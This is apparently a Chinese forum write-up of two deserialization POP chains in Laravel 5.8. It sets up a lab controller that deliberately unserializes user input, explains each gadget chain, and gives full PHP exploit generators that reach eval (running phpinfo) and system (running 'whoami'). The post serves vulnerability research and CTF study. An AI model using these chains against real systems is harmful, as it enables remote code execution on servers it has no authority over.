本篇文章将记录 laravel5.8 框架中的两条反序列化 POP链

漏洞环境

直接使用 composer 安装 laravel5.8 框架,并通过 php artisan serve 命令启动 Web 服务。

➜  composer create-project --prefer-dist laravel/laravel laravel58
➜  cd laravel58
➜  php artisan serve --host=0.0.0.0

laravel57/routes/web.php 文件中添加一条路由,便于我们后续访问。

// /var/www/html/laravel58/routes/web.php
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>

laravel58/app/Http/Controllers/ 下添加 DemoController 控制器,代码如下:

<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
    public function demo()
    {
        if(isset($_GET['c'])){
            $code = $_GET['c'];
            unserialize($code);
        }
        else{
            highlight_file(__FILE__);
        }
        return "Welcome to laravel5.8";
    }
}

POP链1

这条链来自 pithon 的代码审计小密圈,按照如上方法安装将默认存在该链。先从 PendingBroadcast 类的 __destruct 方法开始 POP链 ,将 $this->events 设置成 Dispatcher 类。进入 dispatch 方法后,我们要想办法执行到 第73行dispatchToQueue 方法,因为在 dispatchToQueue 方法中存在 call_user_func 函数,且可以完成任意类方法调用,所以我们要使得 第72行if 语句条件为真。 ShouldQueue 是个接口,我们只要让 $command 为实现该接口的类即可, $command第57行 传入的 $this->event

现在我们已经可以调用任意类的任意方法了,下面就寻找可利用的类方法,这里我们使用的是 EvalLoader 类的 load 方法,因为里面有调用 eval 函数,且参数可控。接下来我们只要构造条件,使得 eval 函数前面的 if 语句块不执行 return 即可。如下图 第44行 ,我们只要找一个有 getName 方法的类,且返回结果可控即可。

整个链的构造相对容易,最终 EXP 如下:

<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;

        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,'<?php phpinfo();?>');
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}
?>

POP链2

这条链来自前一阵CTF国赛某道题目。漏洞存在 symfony 组件中(影响至罪行 4.4.x-dev 版本),而默认安装的 laravel5.8 框架没有包含该组件。为了复现该漏洞,我们需要将 composer.json 文件中的 require 添加 "symfony/symfony": "4.*" 并执行 composer update 命令即可。

POP链 的入口为 TagAwareAdapter 类的 __destruct 方法,经过一些列调用,其会调用 $this->poolsaveDeferred 方法。

这里,我们将 $this->pool 设置为 ProxyAdapter 类。在 ProxyAdapter 类的 saveDeferred 方法中,会调用本类的 doSave 方法。而在 doSave 方法中,我们发现了可控的动态调用,如下图 第223行 所示。

首先,程序将 $item 类强转成数组(上图 第207行 ),然后再从数组中取值作为下面动态调用函数的参数(上图 第213行 )。这里可以看到有 $item["\0*\0expiry"]$item["\0*\0poolHash"] 这种写法,数组键名带有 \0*\0 。这实际上是类中,修饰符为 protected 的属性,在类强转成数组之后的结果。具体可以参考如下Demo:

这里动态调用 ($this->setInnerItem)($innerItem, $item) 中有两个参数,其中第一个参数可控,刚好 system 函数最多支持两个参数,所以我们这里可以利用 system 函数来执行命令。

整个链的构造相对容易,最终 EXP 如下:

<?php
namespace Symfony\Component\Cache{
    final class CacheItem
    {
        protected $expiry;
        protected $poolHash;
        protected $innerItem;
        public function __construct($expiry, $poolHash, $command)
        {
            $this->expiry = $expiry;
            $this->poolHash = $poolHash;
            $this->innerItem = $command;
        }
    }
}
namespace Symfony\Component\Cache\Adapter{
    class ProxyAdapter
    {
        private $poolHash;
        private $setInnerItem;
        public function __construct($poolHash, $func)
        {
            $this->poolHash = $poolHash;
            $this->setInnerItem = $func;
        }
    }
    class TagAwareAdapter
    {
        private $deferred = [];
        private $pool;
        public function __construct($deferred, $pool)
        {
            $this->deferred = $deferred;
            $this->pool = $pool;
        }
    }
}
namespace {
    $cacheitem = new Symfony\Component\Cache\CacheItem(1,1,"whoami");
    $proxyadapter = new Symfony\Component\Cache\Adapter\ProxyAdapter(1,'system');
    $tagawareadapter = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array($cacheitem),$proxyadapter);
    echo urlencode(serialize($tagawareadapter));
}

有的 symfony 组件版本执行命令后有回显,有的没有,具体大家自己测试。

点击收藏 | 1 关注 | 2
登录 后跟帖